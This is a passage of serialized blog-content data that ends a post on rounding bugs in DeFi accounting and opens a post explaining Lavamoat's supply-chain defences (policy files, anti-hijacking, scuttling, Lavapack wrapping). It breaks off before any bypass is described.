precision;\n",{"type":25,"tag":271,"props":60055,"children":60056},{"class":13593,"line":11641},[60057,60062,60066,60071,60075,60080,60084],{"type":25,"tag":271,"props":60058,"children":60059},{"style":13625},[60060],{"type":30,"value":60061},"accrualIndices.deposited ",{"type":25,"tag":271,"props":60063,"children":60064},{"style":13603},[60065],{"type":30,"value":1065},{"type":25,"tag":271,"props":60067,"children":60068},{"style":13625},[60069],{"type":30,"value":60070}," accrualIndices.deposited ",{"type":25,"tag":271,"props":60072,"children":60073},{"style":13603},[60074],{"type":30,"value":17702},{"type":25,"tag":271,"props":60076,"children":60077},{"style":13625},[60078],{"type":30,"value":60079}," depositInterestFactor ",{"type":25,"tag":271,"props":60081,"children":60082},{"style":13603},[60083],{"type":30,"value":7621},{"type":25,"tag":271,"props":60085,"children":60086},{"style":13625},[60087],{"type":30,"value":60053},{"type":25,"tag":26,"props":60089,"children":60090},{},[60091],{"type":30,"value":60092},"We also want to note some general takeaways:",{"type":25,"tag":26,"props":60094,"children":60095},{},[60096,60098,60103],{"type":30,"value":60097},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":25,"tag":10281,"props":60099,"children":60100},{},[60101],{"type":30,"value":60102},"apply the state changes and check the invariant",{"type":30,"value":1860},{"type":25,"tag":26,"props":60105,"children":60106},{},[60107],{"type":30,"value":60108},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":25,"tag":26,"props":60110,"children":60111},{},[60112],{"type":30,"value":60113},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":25,"tag":96,"props":60115,"children":60116},{"id":42044},[60117],{"type":30,"value":32068},{"type":25,"tag":26,"props":60119,"children":60120},{},[60121],{"type":30,"value":60122},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":25,"tag":26,"props":60124,"children":60125},{},[60126],{"type":30,"value":60127},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":25,"tag":15963,"props":60129,"children":60130},{},[60131],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":60133},[60134,60135,60136,60140,60141,60142],{"id":42127,"depth":11641,"text":42130},{"id":59057,"depth":11641,"text":59060},{"id":59176,"depth":11641,"text":59179,"children":60137},[60138,60139],{"id":59187,"depth":14354,"text":59190},{"id":59225,"depth":14354,"text":59228},{"id":59782,"depth":11641,"text":59785},{"id":59847,"depth":11641,"text":59850},{"id":42044,"depth":11641,"text":32068},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":60147,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":60148,"description":60149,"author":60150,"image":60151,"date":60153,"isFeatured":18,"onBlogPage":18,"body":60154,"_type":16004,"_id":63633,"_source":16006,"_file":63634,"_stem":63635,"_extension":16009},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[44313,44312],{"src":60152},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":22,"children":60155,"toc":63612},[60156,60160,60181,60186,60190,60195,60234,60240,60255,60273,60278,60283,60288,60301,60608,60634,60647,60652,60657,60671,60676,60689,60703,60934,60955,60990,60996,61001,61006,61220,61241,61247,61259,61349,61371,61407,61415,61433,61690,61716,61722,61736,61934,61953,62360,62373,62379,62398,62491,62496,62502,62515,62528,62614,62620,62632,62716,62728,62741,62747,62752,62766,63093,63098,63103,63109,63135,63190,63210,63263,63269,63274,63293,63304,63498,63504,63527,63533,63538,63551,63556,63561,63565,63570,63578,63608],{"type":25,"tag":96,"props":60157,"children":60158},{"id":32077},[60159],{"type":30,"value":32080},{"type":25,"tag":26,"props":60161,"children":60162},{},[60163,60170,60172,60179],{"type":25,"tag":83,"props":60164,"children":60167},{"href":60165,"rel":60166},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[9066],[60168],{"type":30,"value":60169},"Supply chain",{"type":30,"value":60171}," attacks are becoming ",{"type":25,"tag":83,"props":60173,"children":60176},{"href":60174,"rel":60175},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[9066],[60177],{"type":30,"value":60178},"increasingly popular in Web3",{"type":30,"value":60180},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":25,"tag":26,"props":60182,"children":60183},{},[60184],{"type":30,"value":60185},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":25,"tag":247,"props":60187,"children":60188},{"id":42127},[60189],{"type":30,"value":42130},{"type":25,"tag":26,"props":60191,"children":60192},{},[60193],{"type":30,"value":60194},"It is important to note that there are three different versions of LavaMoat:",{"type":25,"tag":661,"props":60196,"children":60197},{},[60198,60210,60222],{"type":25,"tag":112,"props":60199,"children":60200},{},[60201,60208],{"type":25,"tag":83,"props":60202,"children":60205},{"href":60203,"rel":60204},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[9066],[60206],{"type":30,"value":60207},"Lavamoat Browserify",{"type":30,"value":60209}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":25,"tag":112,"props":60211,"children":60212},{},[60213,60220],{"type":25,"tag":83,"props":60214,"children":60217},{"href":60215,"rel":60216},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[9066],[60218],{"type":30,"value":60219},"NodeJS Lavamoat",{"type":30,"value":60221}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":25,"tag":112,"props":60223,"children":60224},{},[60225,60232],{"type":25,"tag":83,"props":60226,"children":60229},{"href":60227,"rel":60228},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[9066],[60230],{"type":30,"value":60231},"Lavamoat allow-scripts",{"type":30,"value":60233}," are used to prevent malicious code execution on lifecycle scripts.",{"type":25,"tag":247,"props":60235,"children":60237},{"id":60236},"lavamoats-security-features",[60238],{"type":30,"value":60239},"Lavamoat's Security Features",{"type":25,"tag":26,"props":60241,"children":60242},{},[60243,60245,60253],{"type":30,"value":60244},"The three most important features of Lavamoat",{"type":25,"tag":28595,"props":60246,"children":60247},{},[60248],{"type":25,"tag":83,"props":60249,"children":60251},{"href":42736,"ariaDescribedBy":60250,"dataFootnoteRef":7,"id":42738},[28602],[60252],{"type":30,"value":968},{"type":30,"value":60254}," are:",{"type":25,"tag":108,"props":60256,"children":60257},{},[60258,60263,60268],{"type":25,"tag":112,"props":60259,"children":60260},{},[60261],{"type":30,"value":60262},"Policy Files",{"type":25,"tag":112,"props":60264,"children":60265},{},[60266],{"type":30,"value":60267},"NPM Anti Hijacking",{"type":25,"tag":112,"props":60269,"children":60270},{},[60271],{"type":30,"value":60272},"Scuttling",{"type":25,"tag":26,"props":60274,"children":60275},{},[60276],{"type":30,"value":60277},"Let's go over them one by one.",{"type":25,"tag":2352,"props":60279,"children":60281},{"id":60280},"policy-files",[60282],{"type":30,"value":60262},{"type":25,"tag":26,"props":60284,"children":60285},{},[60286],{"type":30,"value":60287},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":25,"tag":26,"props":60289,"children":60290},{},[60291,60293,60300],{"type":30,"value":60292},"For example, take the ",{"type":25,"tag":83,"props":60294,"children":60297},{"href":60295,"rel":60296},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[9066],[60298],{"type":30,"value":60299},"Metamask Snap policy file",{"type":30,"value":359},{"type":25,"tag":7764,"props":60302,"children":60304},{"className":44475,"code":60303,"language":44477,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[60305],{"type":25,"tag":264,"props":60306,"children":60307},{"__ignoreMap":7},[60308,60320,60335,60355,60374,60394,60414,60434,60454,60474,60495,60515,60534,60550,60557,60572,60592],{"type":25,"tag":271,"props":60309,"children":60310},{"class":13593,"line":13594},[60311,60316],{"type":25,"tag":271,"props":60312,"children":60313},{"style":17388},[60314],{"type":30,"value":60315},"   \"@metamask/providers\"",{"type":25,"tag":271,"props":60317,"children":60318},{"style":13625},[60319],{"type":30,"value":50134},{"type":25,"tag":271,"props":60321,"children":60322},{"class":13593,"line":11641},[60323,60327,60331],{"type":25,"tag":271,"props":60324,"children":60325},{"style":17388},[60326],{"type":30,"value":50142},{"type":25,"tag":271,"props":60328,"children":60329},{"style":13598},[60330],{"type":30,"value":359},{"type":25,"tag":271,"props":60332,"children":60333},{"style":13625},[60334],{"type":30,"value":16431},{"type":25,"tag":271,"props":60336,"children":60337},{"class":13593,"line":14354},[60338,60343,60347,60351],{"type":25,"tag":271,"props":60339,"children":60340},{"style":17388},[60341],{"type":30,"value":60342},"        \"Event\"",{"type":25,"tag":271,"props":60344,"children":60345},{"style":13598},[60346],{"type":30,"value":359},{"type":25,"tag":271,"props":60348,"children":60349},{"style":14289},[60350],{"type":30,"value":25594},{"type":25,"tag":271,"props":60352,"children":60353},{"style":13625},[60354],{"type":30,"value":14351},{"type":25,"tag":271,"props":60356,"children":60357},{"class":13593,"line":14391},[60358,60362,60366,60370],{"type":25,"tag":271,"props":60359,"children":60360},{"style":17388},[60361],{"type":30,"value":50194},{"type":25,"tag":271,"props":60363,"children":60364},{"style":13598},[60365],{"type":30,"value":359},{"type":25,"tag":271,"props":60367,"children":60368},{"style":14289},[60369],{"type":30,"value":25594},{"type":25,"tag":271,"props":60371,"children":60372},{"style":13625},[60373],{"type":30,"value":14351},{"type":25,"tag":271,"props":60375,"children":60376},{"class":13593,"line":14400},[60377,60382,60386,60390],{"type":25,"tag":271,"props":60378,"children":60379},{"style":17388},[60380],{"type":30,"value":60381},"        \"chrome.runtime.connect\"",{"type":25,"tag":271,"props":60383,"children":60384},{"style":13598},[60385],{"type":30,"value":359},{"type":25,"tag":271,"props":60387,"children":60388},{"style":14289},[60389],{"type":30,"value":25594},{"type":25,"tag":271,"props":60391,"children":60392},{"style":13625},[60393],{"type":30,"value":14351},{"type":25,"tag":271,"props":60395,"children":60396},{"class":13593,"line":16406},[60397,60402,60406,60410],{"type":25,"tag":271,"props":60398,"children":60399},{"style":17388},[60400],{"type":30,"value":60401},"        \"console\"",{"type":25,"tag":271,"props":60403,"children":60404},{"style":13598},[60405],{"type":30,"value":359},{"type":25,"tag":271,"props":60407,"children":60408},{"style":14289},[60409],{"type":30,"value":25594},{"type":25,"tag":271,"props":60411,"children":60412},{"style":13625},[60413],{"type":30,"value":14351},{"type":25,"tag":271,"props":60415,"children":60416},{"class":13593,"line":16434},[60417,60422,60426,60430],{"type":25,"tag":271,"props":60418,"children":60419},{"style":17388},[60420],{"type":30,"value":60421},"        \"dispatchEvent\"",{"type":25,"tag":271,"props":60423,"children":60424},{"style":13598},[60425],{"type":30,"value":359},{"type":25,"tag":271,"props":60427,"children":60428},{"style":14289},[60429],{"type":30,"value":25594},{"type":25,"tag":271,"props":60431,"children":60432},{"style":13625},[60433],{"type":30,"value":14351},{"type":25,"tag":271,"props":60435,"children":60436},{"class":13593,"line":16447},[60437,60442,60446,60450],{"type":25,"tag":271,"props":60438,"children":60439},{"style":17388},[60440],{"type":30,"value":60441},"        \"document.createElement\"",{"type":25,"tag":271,"props":60443,"children":60444},{"style":13598},[60445],{"type":30,"value":359},{"type":25,"tag":271,"props":60447,"children":60448},{"style":14289},[60449],{"type":30,"value":25594},{"type":25,"tag":271,"props":60451,"children":60452},{"style":13625},[60453],{"type":30,"value":14351},{"type":25,"tag":271,"props":60455,"children":60456},{"class":13593,"line":16465},[60457,60462,60466,60470],{"type":25,"tag":271,"props":60458,"children":60459},{"style":17388},[60460],{"type":30,"value":60461},"        \"document.readyState\"",{"type":25,"tag":271,"props":60463,"children":60464},{"style":13598},[60465],{"type":30,"value":359},{"type":25,"tag":271,"props":60467,"children":60468},{"style":14289},[60469],{"type":30,"value":25594},{"type":25,"tag":271,"props":60471,"children":60472},{"style":13625},[60473],{"type":30,"value":14351},{"type":25,"tag":271,"props":60475,"children":60476},{"class":13593,"line":16486},[60477,60482,60486,60491],{"type":25,"tag":271,"props":60478,"children":60479},{"style":17388},[60480],{"type":30,"value":60481},"        \"ethereum\"",{"type":25,"tag":271,"props":60483,"children":60484},{"style":13598},[60485],{"type":30,"value":359},{"type":25,"tag":271,"props":60487,"children":60488},{"style":17388},[60489],{"type":30,"value":60490}," \"write\"",{"type":25,"tag":271,"props":60492,"children":60493},{"style":13625},[60494],{"type":30,"value":14351},{"type":25,"tag":271,"props":60496,"children":60497},{"class":13593,"line":16495},[60498,60503,60507,60511],{"type":25,"tag":271,"props":60499,"children":60500},{"style":17388},[60501],{"type":30,"value":60502},"        \"location.hostname\"",{"type":25,"tag":271,"props":60504,"children":60505},{"style":13598},[60506],{"type":30,"value":359},{"type":25,"tag":271,"props":60508,"children":60509},{"style":14289},[60510],{"type":30,"value":25594},{"type":25,"tag":271,"props":60512,"children":60513},{"style":13625},[60514],{"type":30,"value":14351},{"type":25,"tag":271,"props":60516,"children":60517},{"class":13593,"line":16744},[60518,60522,60526,60530],{"type":25,"tag":271,"props":60519,"children":60520},{"style":17388},[60521],{"type":30,"value":50294},{"type":25,"tag":271,"props":60523,"children":60524},{"style":13598},[60525],{"type":30,"value":359},{"type":25,"tag":271,"props":60527,"children":60528},{"style":14289},[60529],{"type":30,"value":25594},{"type":25,"tag":271,"props":60531,"children":60532},{"style":13625},[60533],{"type":30,"value":14351},{"type":25,"tag":271,"props":60535,"children":60536},{"class":13593,"line":16761},[60537,60542,60546],{"type":25,"tag":271,"props":60538,"children":60539},{"style":17388},[60540],{"type":30,"value":60541},"        \"web3\"",{"type":25,"tag":271,"props":60543,"children":60544},{"style":13598},[60545],{"type":30,"value":359},{"type":25,"tag":271,"props":60547,"children":60548},{"style":14289},[60549],{"type":30,"value":59664},{"type":25,"tag":271,"props":60551,"children":60552},{"class":13593,"line":16778},[60553],{"type":25,"tag":271,"props":60554,"children":60555},{"style":13625},[60556],{"type":30,"value":50311},{"type":25,"tag":271,"props":60558,"children":60559},{"class":13593,"line":16791},[60560,60564,60568],{"type":25,"tag":271,"props":60561,"children":60562},{"style":17388},[60563],{"type":30,"value":50319},{"type":25,"tag":271,"props":60565,"children":60566},{"style":13598},[60567],{"type":30,"value":359},{"type":25,"tag":271,"props":60569,"children":60570},{"style":13625},[60571],{"type":30,"value":16431},{"type":25,"tag":271,"props":60573,"children":60574},{"class":13593,"line":16800},[60575,60580,60584,60588],{"type":25,"tag":271,"props":60576,"children":60577},{"style":17388},[60578],{"type":30,"value":60579},"        \"@metamask/object-multiplex\"",{"type":25,"tag":271,"props":60581,"children":60582},{"style":13598},[60583],{"type":30,"value":359},{"type":25,"tag":271,"props":60585,"children":60586},{"style":14289},[60587],{"type":30,"value":25594},{"type":25,"tag":271,"props":60589,"children":60590},{"style":13625},[60591],{"type":30,"value":14351},{"type":25,"tag":271,"props":60593,"children":60594},{"class":13593,"line":16823},[60595,60600,60604],{"type":25,"tag":271,"props":60596,"children":60597},{"style":17388},[60598],{"type":30,"value":60599},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":25,"tag":271,"props":60601,"children":60602},{"style":13598},[60603],{"type":30,"value":359},{"type":25,"tag":271,"props":60605,"children":60606},{"style":14289},[60607],{"type":30,"value":59664},{"type":25,"tag":26,"props":60609,"children":60610},{},[60611,60612,60617,60619,60624,60626,60632],{"type":30,"value":10272},{"type":25,"tag":264,"props":60613,"children":60615},{"className":60614},[],[60616],{"type":30,"value":50384},{"type":30,"value":60618}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":25,"tag":264,"props":60620,"children":60622},{"className":60621},[],[60623],{"type":30,"value":50392},{"type":30,"value":60625}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":25,"tag":264,"props":60627,"children":60629},{"className":60628},[],[60630],{"type":30,"value":60631},"@metamask/providers",{"type":30,"value":60633}," interacts with other packages.",{"type":25,"tag":26,"props":60635,"children":60636},{},[60637,60639,60645],{"type":30,"value":60638},"To enforce these policies, LavaMoat uses ",{"type":25,"tag":264,"props":60640,"children":60642},{"className":60641},[],[60643],{"type":30,"value":60644},"lavapack",{"type":30,"value":60646},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":25,"tag":2352,"props":60648,"children":60650},{"id":60649},"npm-anti-hijacking",[60651],{"type":30,"value":60267},{"type":25,"tag":26,"props":60653,"children":60654},{},[60655],{"type":30,"value":60656},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":25,"tag":26,"props":60658,"children":60659},{},[60660,60662,60669],{"type":30,"value":60661},"Instead, Lavamoat looks at how each package is connected by ",{"type":25,"tag":83,"props":60663,"children":60666},{"href":60664,"rel":60665},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[9066],[60667],{"type":30,"value":60668},"walking the modules",{"type":30,"value":60670}," in a project's dependency tree, thus generating a unique name for each package.",{"type":25,"tag":2352,"props":60672,"children":60674},{"id":60673},"scuttling",[60675],{"type":30,"value":60272},{"type":25,"tag":26,"props":60677,"children":60678},{},[60679,60681,60687],{"type":30,"value":60680},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":25,"tag":264,"props":60682,"children":60684},{"className":60683},[],[60685],{"type":30,"value":60686},"GlobalThis",{"type":30,"value":60688}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":25,"tag":26,"props":60690,"children":60691},{},[60692,60694,60701],{"type":30,"value":60693},"For example, ",{"type":25,"tag":83,"props":60695,"children":60698},{"href":60696,"rel":60697},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[9066],[60699],{"type":30,"value":60700},"here",{"type":30,"value":60702}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":25,"tag":7764,"props":60704,"children":60706},{"className":44475,"code":60705,"language":44477,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[60707],{"type":25,"tag":264,"props":60708,"children":60709},{"__ignoreMap":7},[60710,60739,60789,60848,60855,60927],{"type":25,"tag":271,"props":60711,"children":60712},{"class":13593,"line":13594},[60713,60717,60721,60726,60730,60735],{"type":25,"tag":271,"props":60714,"children":60715},{"style":16171},[60716],{"type":30,"value":25404},{"type":25,"tag":271,"props":60718,"children":60719},{"style":13625},[60720],{"type":30,"value":16213},{"type":25,"tag":271,"props":60722,"children":60723},{"style":13598},[60724],{"type":30,"value":60725},"scuttleOpts",{"type":25,"tag":271,"props":60727,"children":60728},{"style":13625},[60729],{"type":30,"value":1860},{"type":25,"tag":271,"props":60731,"children":60732},{"style":13598},[60733],{"type":30,"value":60734},"enabled",{"type":25,"tag":271,"props":60736,"children":60737},{"style":13625},[60738],{"type":30,"value":27925},{"type":25,"tag":271,"props":60740,"children":60741},{"class":13593,"line":11641},[60742,60746,60750,60754,60759,60763,60768,60772,60776,60780,60785],{"type":25,"tag":271,"props":60743,"children":60744},{"style":16171},[60745],{"type":30,"value":52397},{"type":25,"tag":271,"props":60747,"children":60748},{"style":13625},[60749],{"type":30,"value":16213},{"type":25,"tag":271,"props":60751,"children":60752},{"style":13603},[60753],{"type":30,"value":33742},{"type":25,"tag":271,"props":60755,"children":60756},{"style":13598},[60757],{"type":30,"value":60758},"Array",{"type":25,"tag":271,"props":60760,"children":60761},{"style":13625},[60762],{"type":30,"value":1860},{"type":25,"tag":271,"props":60764,"children":60765},{"style":13620},[60766],{"type":30,"value":60767},"isArray",{"type":25,"tag":271,"props":60769,"children":60770},{"style":13625},[60771],{"type":30,"value":394},{"type":25,"tag":271,"props":60773,"children":60774},{"style":13598},[60775],{"type":30,"value":60725},{"type":25,"tag":271,"props":60777,"children":60778},{"style":13625},[60779],{"type":30,"value":1860},{"type":25,"tag":271,"props":60781,"children":60782},{"style":13598},[60783],{"type":30,"value":60784},"exceptions",{"type":25,"tag":271,"props":60786,"children":60787},{"style":13625},[60788],{"type":30,"value":48305},{"type":25,"tag":271,"props":60790,"children":60791},{"class":13593,"line":14354},[60792,60797,60801,60805,60809,60814,60818,60822,60827,60831,60835,60839,60844],{"type":25,"tag":271,"props":60793,"children":60794},{"style":16171},[60795],{"type":30,"value":60796},"        throw",{"type":25,"tag":271,"props":60798,"children":60799},{"style":14289},[60800],{"type":30,"value":45045},{"type":25,"tag":271,"props":60802,"children":60803},{"style":13620},[60804],{"type":30,"value":53394},{"type":25,"tag":271,"props":60806,"children":60807},{"style":13625},[60808],{"type":30,"value":394},{"type":25,"tag":271,"props":60810,"children":60811},{"style":17388},[60812],{"type":30,"value":60813},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":25,"tag":271,"props":60815,"children":60816},{"style":14289},[60817],{"type":30,"value":47221},{"type":25,"tag":271,"props":60819,"children":60820},{"style":14289},[60821],{"type":30,"value":44515},{"type":25,"tag":271,"props":60823,"children":60824},{"style":13598},[60825],{"type":30,"value":60826}," scuttleOpts",{"type":25,"tag":271,"props":60828,"children":60829},{"style":13603},[60830],{"type":30,"value":1860},{"type":25,"tag":271,"props":60832,"children":60833},{"style":13598},[60834],{"type":30,"value":60784},{"type":25,"tag":271,"props":60836,"children":60837},{"style":14289},[60838],{"type":30,"value":978},{"type":25,"tag":271,"props":60840,"children":60841},{"style":17388},[60842],{"type":30,"value":60843},"\"`",{"type":25,"tag":271,"props":60845,"children":60846},{"style":13625},[60847],{"type":30,"value":16299},{"type":25,"tag":271,"props":60849,"children":60850},{"class":13593,"line":14391},[60851],{"type":25,"tag":271,"props":60852,"children":60853},{"style":13625},[60854],{"type":30,"value":25789},{"type":25,"tag":271,"props":60856,"children":60857},{"class":13593,"line":14400},[60858,60863,60867,60872,60876,60881,60885,60890,60894,60899,60903,60907,60911,60915,60919,60923],{"type":25,"tag":271,"props":60859,"children":60860},{"style":13598},[60861],{"type":30,"value":60862},"      scuttleOpts",{"type":25,"tag":271,"props":60864,"children":60865},{"style":13625},[60866],{"type":30,"value":1860},{"type":25,"tag":271,"props":60868,"children":60869},{"style":13620},[60870],{"type":30,"value":60871},"scuttlerFunc",{"type":25,"tag":271,"props":60873,"children":60874},{"style":13625},[60875],{"type":30,"value":394},{"type":25,"tag":271,"props":60877,"children":60878},{"style":13598},[60879],{"type":30,"value":60880},"globalRef",{"type":25,"tag":271,"props":60882,"children":60883},{"style":13625},[60884],{"type":30,"value":44},{"type":25,"tag":271,"props":60886,"children":60887},{"style":13598},[60888],{"type":30,"value":60889},"realm",{"type":25,"tag":271,"props":60891,"children":60892},{"style":14289},[60893],{"type":30,"value":40863},{"type":25,"tag":271,"props":60895,"children":60896},{"style":13620},[60897],{"type":30,"value":60898}," performScuttleGlobalThis",{"type":25,"tag":271,"props":60900,"children":60901},{"style":13625},[60902],{"type":30,"value":394},{"type":25,"tag":271,"props":60904,"children":60905},{"style":13598},[60906],{"type":30,"value":60889},{"type":25,"tag":271,"props":60908,"children":60909},{"style":13625},[60910],{"type":30,"value":44},{"type":25,"tag":271,"props":60912,"children":60913},{"style":13598},[60914],{"type":30,"value":60725},{"type":25,"tag":271,"props":60916,"children":60917},{"style":13625},[60918],{"type":30,"value":1860},{"type":25,"tag":271,"props":60920,"children":60921},{"style":13598},[60922],{"type":30,"value":60784},{"type":25,"tag":271,"props":60924,"children":60925},{"style":13625},[60926],{"type":30,"value":32833},{"type":25,"tag":271,"props":60928,"children":60929},{"class":13593,"line":16406},[60930],{"type":25,"tag":271,"props":60931,"children":60932},{"style":13625},[60933],{"type":30,"value":16501},{"type":25,"tag":26,"props":60935,"children":60936},{},[60937,60939,60945,60947,60953],{"type":30,"value":60938},"Subsequently, the code defines a ",{"type":25,"tag":83,"props":60940,"children":60943},{"href":60941,"rel":60942},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[9066],[60944],{"type":30,"value":44489},{"type":30,"value":60946}," called ",{"type":25,"tag":264,"props":60948,"children":60950},{"className":60949},[],[60951],{"type":30,"value":60952},"generateScuttleOpts",{"type":30,"value":60954}," that creates and returns an options object.",{"type":25,"tag":26,"props":60956,"children":60957},{},[60958,60960,60966,60967,60973,60975,60980,60982,60988],{"type":30,"value":60959},"Finally, the ",{"type":25,"tag":264,"props":60961,"children":60963},{"className":60962},[],[60964],{"type":30,"value":60965},"performScuttleGlobalThis",{"type":30,"value":14096},{"type":25,"tag":83,"props":60968,"children":60971},{"href":60969,"rel":60970},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[9066],[60972],{"type":30,"value":44489},{"type":30,"value":60974}," modifies the properties of the global object (",{"type":25,"tag":264,"props":60976,"children":60978},{"className":60977},[],[60979],{"type":30,"value":60880},{"type":30,"value":60981},"). It starts by creating an array ",{"type":25,"tag":264,"props":60983,"children":60985},{"className":60984},[],[60986],{"type":30,"value":60987},"props",{"type":30,"value":60989},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":25,"tag":96,"props":60991,"children":60993},{"id":60992},"hacking-webpacks",[60994],{"type":30,"value":60995},"Hacking Webpacks",{"type":25,"tag":26,"props":60997,"children":60998},{},[60999],{"type":30,"value":61000},"Now let's get to the fun stuff.",{"type":25,"tag":26,"props":61002,"children":61003},{},[61004],{"type":30,"value":61005},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":25,"tag":7764,"props":61007,"children":61009},{"className":44475,"code":61008,"language":44477,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[61010],{"type":25,"tag":264,"props":61011,"children":61012},{"__ignoreMap":7},[61013,61065,61077,61097,61114,61122,61130,61138,61146,61167,61175,61183,61191,61198,61205,61212],{"type":25,"tag":271,"props":61014,"children":61015},{"class":13593,"line":13594},[61016,61020,61025,61029,61034,61038,61043,61047,61052,61056,61061],{"type":25,"tag":271,"props":61017,"children":61018},{"style":14289},[61019],{"type":30,"value":49300},{"type":25,"tag":271,"props":61021,"children":61022},{"style":13598},[61023],{"type":30,"value":61024}," filename",{"type":25,"tag":271,"props":61026,"children":61027},{"style":13603},[61028],{"type":30,"value":16155},{"type":25,"tag":271,"props":61030,"children":61031},{"style":13620},[61032],{"type":30,"value":61033}," encodeURI",{"type":25,"tag":271,"props":61035,"children":61036},{"style":13625},[61037],{"type":30,"value":394},{"type":25,"tag":271,"props":61039,"children":61040},{"style":13620},[61041],{"type":30,"value":61042},"String",{"type":25,"tag":271,"props":61044,"children":61045},{"style":13625},[61046],{"type":30,"value":394},{"type":25,"tag":271,"props":61048,"children":61049},{"style":13598},[61050],{"type":30,"value":61051},"moduleData",{"type":25,"tag":271,"props":61053,"children":61054},{"style":13625},[61055],{"type":30,"value":1860},{"type":25,"tag":271,"props":61057,"children":61058},{"style":13598},[61059],{"type":30,"value":61060},"file",{"type":25,"tag":271,"props":61062,"children":61063},{"style":13625},[61064],{"type":30,"value":32833},{"type":25,"tag":271,"props":61066,"children":61067},{"class":13593,"line":11641},[61068,61072],{"type":25,"tag":271,"props":61069,"children":61070},{"style":14289},[61071],{"type":30,"value":20977},{"type":25,"tag":271,"props":61073,"children":61074},{"style":13598},[61075],{"type":30,"value":61076}," 